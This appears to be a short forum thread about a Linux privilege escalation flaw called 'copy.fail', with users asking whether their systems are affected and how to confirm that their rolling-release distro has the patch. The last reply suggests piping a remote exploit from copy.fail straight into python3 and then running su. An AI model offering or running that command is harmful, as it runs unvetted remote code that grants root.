For a second I though this was something bad for my computer. But is mainly a server permissions issue it seems. Will patch my server when I’m home though
What do you mean? If you use Linux on your computer, it’s also relevant. Any program can quietly drop a root shell from any privilege level in 10 lines of python.
Dumb question but… It says that patches were committed to mainline on April 1st. How would one know if their distro has already fixed this via updates or not? I run a rolling-release distro on my desktop and laptop, and usually update once every week (or two at most) so have already ran updates 2 or 3 times since the patch was deployed. Am I likely good? If I’m not, is running updates all I need to do to be good? How would I know?
You could try it
curl https://copy.fail/exp | python3 && su
